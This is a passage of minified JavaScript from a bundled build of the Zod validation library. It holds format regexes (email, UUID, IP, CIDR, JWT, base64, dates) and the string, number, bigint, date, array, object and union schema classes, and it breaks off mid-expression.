uW=/^c[^\s-]{8,}$/i,nW=/^[0-9a-z]+$/,dW=/^[0-9A-HJKMNP-TV-Z]{26}$/i,pW=/^[0-9a-fA-F]{8}\b-[0-9a-fA-F]{4}\b-[0-9a-fA-F]{4}\b-[0-9a-fA-F]{4}\b-[0-9a-fA-F]{12}$/i,iW=/^[a-z0-9_-]{21}$/i,sW=/^[A-Za-z0-9-_]+\.[A-Za-z0-9-_]+\.[A-Za-z0-9-_]*$/,rW=/^[-+]?P(?!$)(?:(?:[-+]?\d+Y)|(?:[-+]?\d+[.,]\d+Y$))?(?:(?:[-+]?\d+M)|(?:[-+]?\d+[.,]\d+M$))?(?:(?:[-+]?\d+W)|(?:[-+]?\d+[.,]\d+W$))?(?:(?:[-+]?\d+D)|(?:[-+]?\d+[.,]\d+D$))?(?:T(?=[\d+-])(?:(?:[-+]?\d+H)|(?:[-+]?\d+[.,]\d+H$))?(?:(?:[-+]?\d+M)|(?:[-+]?\d+[.,]\d+M$))?(?:[-+]?\d+(?:[.,]\d+)?S)?)??$/,oW=/^(?!\.)(?!.*\.\.)([A-Z0-9_'+\-\.]*)[A-Z0-9_+-]@([A-Z0-9][A-Z0-9\-]*\.)+[A-Z]{2,}$/i,aW="^(\\p{Extended_Pictographic}|\\p{Emoji_Component})+$",p$,tW=/^(?:(?:25[0-5]|2[0-4][0-9]|1[0-9][0-9]|[1-9][0-9]|[0-9])\.){3}(?:25[0-5]|2[0-4][0-9]|1[0-9][0-9]|[1-9][0-9]|[0-9])$/,eW=/^(?:(?:25[0-5]|2[0-4][0-9]|1[0-9][0-9]|[1-9][0-9]|[0-9])\.){3}(?:25[0-5]|2[0-4][0-9]|1[0-9][0-9]|[1-9][0-9]|[0-9])\/(3[0-2]|[12]?[0-9])$/,$3=/^(([0-9a-fA-F]{1,4}:){7,7}[0-9a-fA-F]{1,4}|([0-9a-fA-F]{1,4}:){1,7}:|([0-9a-fA-F]{1,4}:){1,6}:[0-9a-fA-F]{1,4}|([0-9a-fA-F]{1,4}:){1,5}(:[0-9a-fA-F]{1,4}){1,2}|([0-9a-fA-F]{1,4}:){1,4}(:[0-9a-fA-F]{1,4}){1,3}|([0-9a-fA-F]{1,4}:){1,3}(:[0-9a-fA-F]{1,4}){1,4}|([0-9a-fA-F]{1,4}:){1,2}(:[0-9a-fA-F]{1,4}){1,5}|[0-9a-fA-F]{1,4}:((:[0-9a-fA-F]{1,4}){1,6})|:((:[0-9a-fA-F]{1,4}){1,7}|:)|fe80:(:[0-9a-fA-F]{0,4}){0,4}%[0-9a-zA-Z]{1,}|::(ffff(:0{1,4}){0,1}:){0,1}((25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])\.){3,3}(25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])|([0-9a-fA-F]{1,4}:){1,4}:((25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])\.){3,3}(25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9]))$/,W3=/^(([0-9a-fA-F]{1,4}:){7,7}[0-9a-fA-F]{1,4}|([0-9a-fA-F]{1,4}:){1,7}:|([0-9a-fA-F]{1,4}:){1,6}:[0-9a-fA-F]{1,4}|([0-9a-fA-F]{1,4}:){1,5}(:[0-9a-fA-F]{1,4}){1,2}|([0-9a-fA-F]{1,4}:){1,4}(:[0-9a-fA-F]{1,4}){1,3}|([0-9a-fA-F]{1,4}:){1,3}(:[0-9a-fA-F]{1,4}){1,4}|([0-9a-fA-F]{1,4}:){1,2}(:[0-9a-fA-F]{1,4}){1,5}|[0-9a-fA-F]{1,4}:((:[0-9a-fA-F]{1,4}){1,6})|:((:[0-9a-fA-F]{1,4}){1,7}|:)|fe80:(:[0-9a-fA-F]{0,4}){0,4}%[0-9a-zA-Z]{1,}|::(ffff(:0{1,4}){0,1}:){0,1}((25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])\.){3,3}(25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])|([0-9a-fA-F]{1,4}:){1,4}:((25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])\.){3,3}(25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9]))\/(12[0-8]|1[01][0-9]|[1-9]?[0-9])$/,H3=/^([0-9a-zA-Z+/]{4})*(([0-9a-zA-Z+/]{2}==)|([0-9a-zA-Z+/]{3}=))?$/,G3=/^([0-9a-zA-Z-_]{4})*(([0-9a-zA-Z-_]{2}(==)?)|([0-9a-zA-Z-_]{3}(=)?))?$/,QW="((\\d\\d[2468][048]|\\d\\d[13579][26]|\\d\\d0[48]|[02468][048]00|[13579][26]00)-02-29|\\d{4}-((0[13578]|1[02])-(0[1-9]|[12]\\d|3[01])|(0[469]|11)-(0[1-9]|[12]\\d|30)|(02)-(0[1-9]|1\\d|2[0-8])))",J3=new RegExp(`^${QW}$`);function YW($){let W="[0-5]\\d";if($.precision)W=`${W}\\.\\d{${$.precision}}`;else if($.precision==null)W=`${W}(\\.\\d+)?`;let H=$.precision?"+":"?";return`([01]\\d|2[0-3]):[0-5]\\d(:${W})${H}`}function X3($){return new RegExp(`^${YW($)}$`)}function qW($){let W=`${QW}T${YW($)}`,H=[];if(H.push($.local?"Z?":"Z"),$.offset)H.push("([+-]\\d{2}:?\\d{2})");return W=`${W}(${H.join("|")})`,new RegExp(`^${W}$`)}function Q3($,W){if((W==="v4"||!W)&&tW.test($))return!0;if((W==="v6"||!W)&&$3.test($))return!0;return!1}function Y3($,W){if(!sW.test($))return!1;try{let[H]=$.split(".");if(!H)return!1;let J=H.replace(/-/g,"+").replace(/_/g,"/").padEnd(H.length+(4-H.length%4)%4,"="),G=JSON.parse(atob(J));if(typeof G!=="object"||G===null)return!1;if("typ"in G&&G?.typ!=="JWT")return!1;if(!G.alg)return!1;if(W&&G.alg!==W)return!1;return!0}catch{return!1}}function q3($,W){if((W==="v4"||!W)&&eW.test($))return!0;if((W==="v6"||!W)&&W3.test($))return!0;return!1}class T extends V{_parse($){if(this._def.coerce)$.data=String($.data);if(this._getType($)!==j.string){let G=this._getOrReturnCtx($);return M(G,{code:B.invalid_type,expected:j.string,received:G.parsedType}),S}let H=new C,J=void 0;for(let G of this._def.checks)if(G.kind==="min"){if($.data.length<G.value)J=this._getOrReturnCtx($,J),M(J,{code:B.too_small,minimum:G.value,type:"string",inclusive:!0,exact:!1,message:G.message}),H.dirty()}else if(G.kind==="max"){if($.data.length>G.value)J=this._getOrReturnCtx($,J),M(J,{code:B.too_big,maximum:G.value,type:"string",inclusive:!0,exact:!1,message:G.message}),H.dirty()}else if(G.kind==="length"){let X=$.data.length>G.value,Q=$.data.length<G.value;if(X||Q){if(J=this._getOrReturnCtx($,J),X)M(J,{code:B.too_big,maximum:G.value,type:"string",inclusive:!0,exact:!0,message:G.message});else if(Q)M(J,{code:B.too_small,minimum:G.value,type:"string",inclusive:!0,exact:!0,message:G.message});H.dirty()}}else if(G.kind==="email"){if(!oW.test($.data))J=this._getOrReturnCtx($,J),M(J,{validation:"email",code:B.invalid_string,message:G.message}),H.dirty()}else if(G.kind==="emoji"){if(!p$)p$=new RegExp(aW,"u");if(!p$.test($.data))J=this._getOrReturnCtx($,J),M(J,{validation:"emoji",code:B.invalid_string,message:G.message}),H.dirty()}else if(G.kind==="uuid"){if(!pW.test($.data))J=this._getOrReturnCtx($,J),M(J,{validation:"uuid",code:B.invalid_string,message:G.message}),H.dirty()}else if(G.kind==="nanoid"){if(!iW.test($.data))J=this._getOrReturnCtx($,J),M(J,{validation:"nanoid",code:B.invalid_string,message:G.message}),H.dirty()}else if(G.kind==="cuid"){if(!uW.test($.data))J=this._getOrReturnCtx($,J),M(J,{validation:"cuid",code:B.invalid_string,message:G.message}),H.dirty()}else if(G.kind==="cuid2"){if(!nW.test($.data))J=this._getOrReturnCtx($,J),M(J,{validation:"cuid2",code:B.invalid_string,message:G.message}),H.dirty()}else if(G.kind==="ulid"){if(!dW.test($.data))J=this._getOrReturnCtx($,J),M(J,{validation:"ulid",code:B.invalid_string,message:G.message}),H.dirty()}else if(G.kind==="url")try{new URL($.data)}catch{J=this._getOrReturnCtx($,J),M(J,{validation:"url",code:B.invalid_string,message:G.message}),H.dirty()}else if(G.kind==="regex"){if(G.regex.lastIndex=0,!G.regex.test($.data))J=this._getOrReturnCtx($,J),M(J,{validation:"regex",code:B.invalid_string,message:G.message}),H.dirty()}else if(G.kind==="trim")$.data=$.data.trim();else if(G.kind==="includes"){if(!$.data.includes(G.value,G.position))J=this._getOrReturnCtx($,J),M(J,{code:B.invalid_string,validation:{includes:G.value,position:G.position},message:G.message}),H.dirty()}else if(G.kind==="toLowerCase")$.data=$.data.toLowerCase();else if(G.kind==="toUpperCase")$.data=$.data.toUpperCase();else if(G.kind==="startsWith"){if(!$.data.startsWith(G.value))J=this._getOrReturnCtx($,J),M(J,{code:B.invalid_string,validation:{startsWith:G.value},message:G.message}),H.dirty()}else if(G.kind==="endsWith"){if(!$.data.endsWith(G.value))J=this._getOrReturnCtx($,J),M(J,{code:B.invalid_string,validation:{endsWith:G.value},message:G.message}),H.dirty()}else if(G.kind==="datetime"){if(!qW(G).test($.data))J=this._getOrReturnCtx($,J),M(J,{code:B.invalid_string,validation:"datetime",message:G.message}),H.dirty()}else if(G.kind==="date"){if(!J3.test($.data))J=this._getOrReturnCtx($,J),M(J,{code:B.invalid_string,validation:"date",message:G.message}),H.dirty()}else if(G.kind==="time"){if(!X3(G).test($.data))J=this._getOrReturnCtx($,J),M(J,{code:B.invalid_string,validation:"time",message:G.message}),H.dirty()}else if(G.kind==="duration"){if(!rW.test($.data))J=this._getOrReturnCtx($,J),M(J,{validation:"duration",code:B.invalid_string,message:G.message}),H.dirty()}else if(G.kind==="ip"){if(!Q3($.data,G.version))J=this._getOrReturnCtx($,J),M(J,{validation:"ip",code:B.invalid_string,message:G.message}),H.dirty()}else if(G.kind==="jwt"){if(!Y3($.data,G.alg))J=this._getOrReturnCtx($,J),M(J,{validation:"jwt",code:B.invalid_string,message:G.message}),H.dirty()}else if(G.kind==="cidr"){if(!q3($.data,G.version))J=this._getOrReturnCtx($,J),M(J,{validation:"cidr",code:B.invalid_string,message:G.message}),H.dirty()}else if(G.kind==="base64"){if(!H3.test($.data))J=this._getOrReturnCtx($,J),M(J,{validation:"base64",code:B.invalid_string,message:G.message}),H.dirty()}else if(G.kind==="base64url"){if(!G3.test($.data))J=this._getOrReturnCtx($,J),M(J,{validation:"base64url",code:B.invalid_string,message:G.message}),H.dirty()}else z.assertNever(G);return{status:H.value,value:$.data}}_regex($,W,H){return this.refinement((J)=>$.test(J),{validation:W,code:B.invalid_string,...U.errToObj(H)})}_addCheck($){return new T({...this._def,checks:[...this._def.checks,$]})}email($){return this._addCheck({kind:"email",...U.errToObj($)})}url($){return this._addCheck({kind:"url",...U.errToObj($)})}emoji($){return this._addCheck({kind:"emoji",...U.errToObj($)})}uuid($){return this._addCheck({kind:"uuid",...U.errToObj($)})}nanoid($){return this._addCheck({kind:"nanoid",...U.errToObj($)})}cuid($){return this._addCheck({kind:"cuid",...U.errToObj($)})}cuid2($){return this._addCheck({kind:"cuid2",...U.errToObj($)})}ulid($){return this._addCheck({kind:"ulid",...U.errToObj($)})}base64($){return this._addCheck({kind:"base64",...U.errToObj($)})}base64url($){return this._addCheck({kind:"base64url",...U.errToObj($)})}jwt($){return this._addCheck({kind:"jwt",...U.errToObj($)})}ip($){return this._addCheck({kind:"ip",...U.errToObj($)})}cidr($){return this._addCheck({kind:"cidr",...U.errToObj($)})}datetime($){if(typeof $==="string")return this._addCheck({kind:"datetime",precision:null,offset:!1,local:!1,message:$});return this._addCheck({kind:"datetime",precision:typeof $?.precision>"u"?null:$?.precision,offset:$?.offset??!1,local:$?.local??!1,...U.errToObj($?.message)})}date($){return this._addCheck({kind:"date",message:$})}time($){if(typeof $==="string")return this._addCheck({kind:"time",precision:null,message:$});return this._addCheck({kind:"time",precision:typeof $?.precision>"u"?null:$?.precision,...U.errToObj($?.message)})}duration($){return this._addCheck({kind:"duration",...U.errToObj($)})}regex($,W){return this._addCheck({kind:"regex",regex:$,...U.errToObj(W)})}includes($,W){return this._addCheck({kind:"includes",value:$,position:W?.position,...U.errToObj(W?.message)})}startsWith($,W){return this._addCheck({kind:"startsWith",value:$,...U.errToObj(W)})}endsWith($,W){return this._addCheck({kind:"endsWith",value:$,...U.errToObj(W)})}min($,W){return this._addCheck({kind:"min",value:$,...U.errToObj(W)})}max($,W){return this._addCheck({kind:"max",value:$,...U.errToObj(W)})}length($,W){return this._addCheck({kind:"length",value:$,...U.errToObj(W)})}nonempty($){return this.min(1,U.errToObj($))}trim(){return new T({...this._def,checks:[...this._def.checks,{kind:"trim"}]})}toLowerCase(){return new T({...this._def,checks:[...this._def.checks,{kind:"toLowerCase"}]})}toUpperCase(){return new T({...this._def,checks:[...this._def.checks,{kind:"toUpperCase"}]})}get isDatetime(){return!!this._def.checks.find(($)=>$.kind==="datetime")}get isDate(){return!!this._def.checks.find(($)=>$.kind==="date")}get isTime(){return!!this._def.checks.find(($)=>$.kind==="time")}get isDuration(){return!!this._def.checks.find(($)=>$.kind==="duration")}get isEmail(){return!!this._def.checks.find(($)=>$.kind==="email")}get isURL(){return!!this._def.checks.find(($)=>$.kind==="url")}get isEmoji(){return!!this._def.checks.find(($)=>$.kind==="emoji")}get isUUID(){return!!this._def.checks.find(($)=>$.kind==="uuid")}get isNANOID(){return!!this._def.checks.find(($)=>$.kind==="nanoid")}get isCUID(){return!!this._def.checks.find(($)=>$.kind==="cuid")}get isCUID2(){return!!this._def.checks.find(($)=>$.kind==="cuid2")}get isULID(){return!!this._def.checks.find(($)=>$.kind==="ulid")}get isIP(){return!!this._def.checks.find(($)=>$.kind==="ip")}get isCIDR(){return!!this._def.checks.find(($)=>$.kind==="cidr")}get isBase64(){return!!this._def.checks.find(($)=>$.kind==="base64")}get isBase64url(){return!!this._def.checks.find(($)=>$.kind==="base64url")}get minLength(){let $=null;for(let W of this._def.checks)if(W.kind==="min"){if($===null||W.value>$)$=W.value}return $}get maxLength(){let $=null;for(let W of this._def.checks)if(W.kind==="max"){if($===null||W.value<$)$=W.value}return $}}T.create=($)=>{return new T({checks:[],typeName:L.ZodString,coerce:$?.coerce??!1,...R($)})};function _3($,W){let H=($.toString().split(".")[1]||"").length,J=(W.toString().split(".")[1]||"").length,G=H>J?H:J,X=Number.parseInt($.toFixed(G).replace(".","")),Q=Number.parseInt(W.toFixed(G).replace(".",""));return X%Q/10**G}class a extends V{constructor(){super(...arguments);this.min=this.gte,this.max=this.lte,this.step=this.multipleOf}_parse($){if(this._def.coerce)$.data=Number($.data);if(this._getType($)!==j.number){let G=this._getOrReturnCtx($);return M(G,{code:B.invalid_type,expected:j.number,received:G.parsedType}),S}let H=void 0,J=new C;for(let G of this._def.checks)if(G.kind==="int"){if(!z.isInteger($.data))H=this._getOrReturnCtx($,H),M(H,{code:B.invalid_type,expected:"integer",received:"float",message:G.message}),J.dirty()}else if(G.kind==="min"){if(G.inclusive?$.data<G.value:$.data<=G.value)H=this._getOrReturnCtx($,H),M(H,{code:B.too_small,minimum:G.value,type:"number",inclusive:G.inclusive,exact:!1,message:G.message}),J.dirty()}else if(G.kind==="max"){if(G.inclusive?$.data>G.value:$.data>=G.value)H=this._getOrReturnCtx($,H),M(H,{code:B.too_big,maximum:G.value,type:"number",inclusive:G.inclusive,exact:!1,message:G.message}),J.dirty()}else if(G.kind==="multipleOf"){if(_3($.data,G.value)!==0)H=this._getOrReturnCtx($,H),M(H,{code:B.not_multiple_of,multipleOf:G.value,message:G.message}),J.dirty()}else if(G.kind==="finite"){if(!Number.isFinite($.data))H=this._getOrReturnCtx($,H),M(H,{code:B.not_finite,message:G.message}),J.dirty()}else z.assertNever(G);return{status:J.value,value:$.data}}gte($,W){return this.setLimit("min",$,!0,U.toString(W))}gt($,W){return this.setLimit("min",$,!1,U.toString(W))}lte($,W){return this.setLimit("max",$,!0,U.toString(W))}lt($,W){return this.setLimit("max",$,!1,U.toString(W))}setLimit($,W,H,J){return new a({...this._def,checks:[...this._def.checks,{kind:$,value:W,inclusive:H,message:U.toString(J)}]})}_addCheck($){return new a({...this._def,checks:[...this._def.checks,$]})}int($){return this._addCheck({kind:"int",message:U.toString($)})}positive($){return this._addCheck({kind:"min",value:0,inclusive:!1,message:U.toString($)})}negative($){return this._addCheck({kind:"max",value:0,inclusive:!1,message:U.toString($)})}nonpositive($){return this._addCheck({kind:"max",value:0,inclusive:!0,message:U.toString($)})}nonnegative($){return this._addCheck({kind:"min",value:0,inclusive:!0,message:U.toString($)})}multipleOf($,W){return this._addCheck({kind:"multipleOf",value:$,message:U.toString(W)})}finite($){return this._addCheck({kind:"finite",message:U.toString($)})}safe($){return this._addCheck({kind:"min",inclusive:!0,value:Number.MIN_SAFE_INTEGER,message:U.toString($)})._addCheck({kind:"max",inclusive:!0,value:Number.MAX_SAFE_INTEGER,message:U.toString($)})}get minValue(){let $=null;for(let W of this._def.checks)if(W.kind==="min"){if($===null||W.value>$)$=W.value}return $}get maxValue(){let $=null;for(let W of this._def.checks)if(W.kind==="max"){if($===null||W.value<$)$=W.value}return $}get isInt(){return!!this._def.checks.find(($)=>$.kind==="int"||$.kind==="multipleOf"&&z.isInteger($.value))}get isFinite(){let $=null,W=null;for(let H of this._def.checks)if(H.kind==="finite"||H.kind==="int"||H.kind==="multipleOf")return!0;else if(H.kind==="min"){if(W===null||H.value>W)W=H.value}else if(H.kind==="max"){if($===null||H.value<$)$=H.value}return Number.isFinite(W)&&Number.isFinite($)}}a.create=($)=>{return new a({checks:[],typeName:L.ZodNumber,coerce:$?.coerce||!1,...R($)})};class t extends V{constructor(){super(...arguments);this.min=this.gte,this.max=this.lte}_parse($){if(this._def.coerce)try{$.data=BigInt($.data)}catch{return this._getInvalidInput($)}if(this._getType($)!==j.bigint)return this._getInvalidInput($);let H=void 0,J=new C;for(let G of this._def.checks)if(G.kind==="min"){if(G.inclusive?$.data<G.value:$.data<=G.value)H=this._getOrReturnCtx($,H),M(H,{code:B.too_small,type:"bigint",minimum:G.value,inclusive:G.inclusive,message:G.message}),J.dirty()}else if(G.kind==="max"){if(G.inclusive?$.data>G.value:$.data>=G.value)H=this._getOrReturnCtx($,H),M(H,{code:B.too_big,type:"bigint",maximum:G.value,inclusive:G.inclusive,message:G.message}),J.dirty()}else if(G.kind==="multipleOf"){if($.data%G.value!==BigInt(0))H=this._getOrReturnCtx($,H),M(H,{code:B.not_multiple_of,multipleOf:G.value,message:G.message}),J.dirty()}else z.assertNever(G);return{status:J.value,value:$.data}}_getInvalidInput($){let W=this._getOrReturnCtx($);return M(W,{code:B.invalid_type,expected:j.bigint,received:W.parsedType}),S}gte($,W){return this.setLimit("min",$,!0,U.toString(W))}gt($,W){return this.setLimit("min",$,!1,U.toString(W))}lte($,W){return this.setLimit("max",$,!0,U.toString(W))}lt($,W){return this.setLimit("max",$,!1,U.toString(W))}setLimit($,W,H,J){return new t({...this._def,checks:[...this._def.checks,{kind:$,value:W,inclusive:H,message:U.toString(J)}]})}_addCheck($){return new t({...this._def,checks:[...this._def.checks,$]})}positive($){return this._addCheck({kind:"min",value:BigInt(0),inclusive:!1,message:U.toString($)})}negative($){return this._addCheck({kind:"max",value:BigInt(0),inclusive:!1,message:U.toString($)})}nonpositive($){return this._addCheck({kind:"max",value:BigInt(0),inclusive:!0,message:U.toString($)})}nonnegative($){return this._addCheck({kind:"min",value:BigInt(0),inclusive:!0,message:U.toString($)})}multipleOf($,W){return this._addCheck({kind:"multipleOf",value:$,message:U.toString(W)})}get minValue(){let $=null;for(let W of this._def.checks)if(W.kind==="min"){if($===null||W.value>$)$=W.value}return $}get maxValue(){let $=null;for(let W of this._def.checks)if(W.kind==="max"){if($===null||W.value<$)$=W.value}return $}}t.create=($)=>{return new t({checks:[],typeName:L.ZodBigInt,coerce:$?.coerce??!1,...R($)})};class U$ extends V{_parse($){if(this._def.coerce)$.data=Boolean($.data);if(this._getType($)!==j.boolean){let H=this._getOrReturnCtx($);return M(H,{code:B.invalid_type,expected:j.boolean,received:H.parsedType}),S}return v($.data)}}U$.create=($)=>{return new U$({typeName:L.ZodBoolean,coerce:$?.coerce||!1,...R($)})};class J$ extends V{_parse($){if(this._def.coerce)$.data=new Date($.data);if(this._getType($)!==j.date){let G=this._getOrReturnCtx($);return M(G,{code:B.invalid_type,expected:j.date,received:G.parsedType}),S}if(Number.isNaN($.data.getTime())){let G=this._getOrReturnCtx($);return M(G,{code:B.invalid_date}),S}let H=new C,J=void 0;for(let G of this._def.checks)if(G.kind==="min"){if($.data.getTime()<G.value)J=this._getOrReturnCtx($,J),M(J,{code:B.too_small,message:G.message,inclusive:!0,exact:!1,minimum:G.value,type:"date"}),H.dirty()}else if(G.kind==="max"){if($.data.getTime()>G.value)J=this._getOrReturnCtx($,J),M(J,{code:B.too_big,message:G.message,inclusive:!0,exact:!1,maximum:G.value,type:"date"}),H.dirty()}else z.assertNever(G);return{status:H.value,value:new Date($.data.getTime())}}_addCheck($){return new J$({...this._def,checks:[...this._def.checks,$]})}min($,W){return this._addCheck({kind:"min",value:$.getTime(),message:U.toString(W)})}max($,W){return this._addCheck({kind:"max",value:$.getTime(),message:U.toString(W)})}get minDate(){let $=null;for(let W of this._def.checks)if(W.kind==="min"){if($===null||W.value>$)$=W.value}return $!=null?new Date($):null}get maxDate(){let $=null;for(let W of this._def.checks)if(W.kind==="max"){if($===null||W.value<$)$=W.value}return $!=null?new Date($):null}}J$.create=($)=>{return new J$({checks:[],coerce:$?.coerce||!1,typeName:L.ZodDate,...R($)})};class f$ extends V{_parse($){if(this._getType($)!==j.symbol){let H=this._getOrReturnCtx($);return M(H,{code:B.invalid_type,expected:j.symbol,received:H.parsedType}),S}return v($.data)}}f$.create=($)=>{return new f$({typeName:L.ZodSymbol,...R($)})};class S$ extends V{_parse($){if(this._getType($)!==j.undefined){let H=this._getOrReturnCtx($);return M(H,{code:B.invalid_type,expected:j.undefined,received:H.parsedType}),S}return v($.data)}}S$.create=($)=>{return new S$({typeName:L.ZodUndefined,...R($)})};class N$ extends V{_parse($){if(this._getType($)!==j.null){let H=this._getOrReturnCtx($);return M(H,{code:B.invalid_type,expected:j.null,received:H.parsedType}),S}return v($.data)}}N$.create=($)=>{return new N$({typeName:L.ZodNull,...R($)})};class X$ extends V{constructor(){super(...arguments);this._any=!0}_parse($){return v($.data)}}X$.create=($)=>{return new X$({typeName:L.ZodAny,...R($)})};class o extends V{constructor(){super(...arguments);this._unknown=!0}_parse($){return v($.data)}}o.create=($)=>{return new o({typeName:L.ZodUnknown,...R($)})};class u extends V{_parse($){let W=this._getOrReturnCtx($);return M(W,{code:B.invalid_type,expected:j.never,received:W.parsedType}),S}}u.create=($)=>{return new u({typeName:L.ZodNever,...R($)})};class C$ extends V{_parse($){if(this._getType($)!==j.undefined){let H=this._getOrReturnCtx($);return M(H,{code:B.invalid_type,expected:j.void,received:H.parsedType}),S}return v($.data)}}C$.create=($)=>{return new C$({typeName:L.ZodVoid,...R($)})};class x extends V{_parse($){let{ctx:W,status:H}=this._processInputParams($),J=this._def;if(W.parsedType!==j.array)return M(W,{code:B.invalid_type,expected:j.array,received:W.parsedType}),S;if(J.exactLength!==null){let X=W.data.length>J.exactLength.value,Q=W.data.length<J.exactLength.value;if(X||Q)M(W,{code:X?B.too_big:B.too_small,minimum:Q?J.exactLength.value:void 0,maximum:X?J.exactLength.value:void 0,type:"array",inclusive:!0,exact:!0,message:J.exactLength.message}),H.dirty()}if(J.minLength!==null){if(W.data.length<J.minLength.value)M(W,{code:B.too_small,minimum:J.minLength.value,type:"array",inclusive:!0,exact:!1,message:J.minLength.message}),H.dirty()}if(J.maxLength!==null){if(W.data.length>J.maxLength.value)M(W,{code:B.too_big,maximum:J.maxLength.value,type:"array",inclusive:!0,exact:!1,message:J.maxLength.message}),H.dirty()}if(W.common.async)return Promise.all([...W.data].map((X,Q)=>{return J.type._parseAsync(new y(W,X,W.path,Q))})).then((X)=>{return C.mergeArray(H,X)});let G=[...W.data].map((X,Q)=>{return J.type._parseSync(new y(W,X,W.path,Q))});return C.mergeArray(H,G)}get element(){return this._def.type}min($,W){return new x({...this._def,minLength:{value:$,message:U.toString(W)}})}max($,W){return new x({...this._def,maxLength:{value:$,message:U.toString(W)}})}length($,W){return new x({...this._def,exactLength:{value:$,message:U.toString(W)}})}nonempty($){return this.min(1,$)}}x.create=($,W)=>{return new x({type:$,minLength:null,maxLength:null,exactLength:null,typeName:L.ZodArray,...R(W)})};function M$($){if($ instanceof A){let W={};for(let H in $.shape){let J=$.shape[H];W[H]=m.create(M$(J))}return new A({...$._def,shape:()=>W})}else if($ instanceof x)return new x({...$._def,type:M$($.element)});else if($ instanceof m)return m.create(M$($.unwrap()));else if($ instanceof s)return s.create(M$($.unwrap()));else if($ instanceof n)return n.create($.items.map((W)=>M$(W)));else return $}class A extends V{constructor(){super(...arguments);this._cached=null,this.nonstrict=this.passthrough,this.augment=this.extend}_getCached(){if(this._cached!==null)return this._cached;let $=this._def.shape(),W=z.objectKeys($);return this._cached={shape:$,keys:W},this._cached}_parse($){if(this._getType($)!==j.object){let Y=this._getOrReturnCtx($);return M(Y,{code:B.invalid_type,expected:j.object,received:Y.parsedType}),S}let{status:H,ctx:J}=this._processInputParams($),{shape:G,keys:X}=this._getCached(),Q=[];if(!(this._def.catchall instanceof u&&this._def.unknownKeys==="strip")){for(let Y in J.data)if(!X.includes(Y))Q.push(Y)}let q=[];for(let Y of X){let w=G[Y],D=J.data[Y];q.push({key:{status:"valid",value:Y},value:w._parse(new y(J,D,J.path,Y)),alwaysSet:Y in J.data})}if(this._def.catchall instanceof u){let Y=this._def.unknownKeys;if(Y==="passthrough")for(let w of Q)q.push({key:{status:"valid",value:w},value:{status:"valid",value:J.data[w]}});else if(Y==="strict"){if(Q.length>0)M(J,{code:B.unrecognized_keys,keys:Q}),H.dirty()}else if(Y==="strip");else throw Error("Internal ZodObject error: invalid unknownKeys value.")}else{let Y=this._def.catchall;for(let w of Q){let D=J.data[w];q.push({key:{status:"valid",value:w},value:Y._parse(new y(J,D,J.path,w)),alwaysSet:w in J.data})}}if(J.common.async)return Promise.resolve().then(async()=>{let Y=[];for(let w of q){let D=await w.key,g=await w.value;Y.push({key:D,value:g,alwaysSet:w.alwaysSet})}return Y}).then((Y)=>{return C.mergeObjectSync(H,Y)});else return C.mergeObjectSync(H,q)}get shape(){return this._def.shape()}strict($){return U.errToObj,new A({...this._def,unknownKeys:"strict",...$!==void 0?{errorMap:(W,H)=>{let J=this._def.errorMap?.(W,H).message??H.defaultError;if(W.code==="unrecognized_keys")return{message:U.errToObj($).message??J};return{message:J}}}:{}})}strip(){return new A({...this._def,unknownKeys:"strip"})}passthrough(){return new A({...this._def,unknownKeys:"passthrough"})}extend($){return new A({...this._def,shape:()=>({...this._def.shape(),...$})})}merge($){return new A({unknownKeys:$._def.unknownKeys,catchall:$._def.catchall,shape:()=>({...this._def.shape(),...$._def.shape()}),typeName:L.ZodObject})}setKey($,W){return this.augment({[$]:W})}catchall($){return new A({...this._def,catchall:$})}pick($){let W={};for(let H of z.objectKeys($))if($[H]&&this.shape[H])W[H]=this.shape[H];return new A({...this._def,shape:()=>W})}omit($){let W={};for(let H of z.objectKeys(this.shape))if(!$[H])W[H]=this.shape[H];return new A({...this._def,shape:()=>W})}deepPartial(){return M$(this)}partial($){let W={};for(let H of z.objectKeys(this.shape)){let J=this.shape[H];if($&&!$[H])W[H]=J;else W[H]=J.optional()}return new A({...this._def,shape:()=>W})}required($){let W={};for(let H of z.objectKeys(this.shape))if($&&!$[H])W[H]=this.shape[H];else{let G=this.shape[H];while(G instanceof m)G=G._def.innerType;W[H]=G}return new A({...this._def,shape:()=>W})}keyof(){return _W(z.objectKeys(this.shape))}}A.create=($,W)=>{return new A({shape:()=>$,unknownKeys:"strip",catchall:u.create(),typeName:L.ZodObject,...R(W)})};A.strictCreate=($,W)=>{return new A({shape:()=>$,unknownKeys:"strict",catchall:u.create(),typeName:L.ZodObject,...R(W)})};A.lazycreate=($,W)=>{return new A({shape:$,unknownKeys:"strip",catchall:u.create(),typeName:L.ZodObject,...R(W)})};class L$ extends V{_parse($){let{ctx:W}=this._processInputParams($),H=this._def.options;function J(G){for(let Q of G)if(Q.result.status==="valid")return Q.result;for(let Q of G)if(Q.result.status==="dirty")return W.common.issues.push(...Q.ctx.common.issues),Q.result;let X=G.map((Q)=>new I(Q.ctx.common.issues));return M(W,{code:B.invalid_union,unionErrors:X}),S}if(W.common.async)return Promise.all(H.map(async(G)=>{let X={...W,common:{...W.common,issues:[]},parent:null};return{result:await G._parseAsync({data:W.data,path:W.path,parent:X}),ctx:X}})).then(J);else{let G=void 0,X=[];for(let q of H){let Y={...W,common:{...W.common,issues:[]},parent:null},w=q._parseSync({data:W.data,path:W.path,parent:Y});if(w.status==="valid")return w;else if(w.status==="dirty"&&!G)G={result:w,ctx:Y};if(Y.common.issues.length)X.push(Y.common.issues)}if(G)return W.common.issues.push(...G.ctx.common.issues),G.result;let Q=X.map((q)=>new I(q));return M(W,{code:B.invalid_union,unionErrors:Q}),S}}get options(){return this._def.options}}L$.create=($,W)=>{return new L$({options:$,typeName:L.ZodUnion,...R(W)})};var i=($)=>{if($ instanceof D$)return i($.schema);else if($ instanceof Z)return i($.innerType());else if($ instanceof V$)return[$.value];else if($ instanceof e)return $.options;else if($ instanceof z$)return z.objectValues($.enum);else if($ instanceof K$)return i($._def.innerType);else if($ instanceof S$)return[void 0];else if($ instanceof N$)return[null];else if($ instanceof m)return[void 0,...i($.unwrap())];else if($ 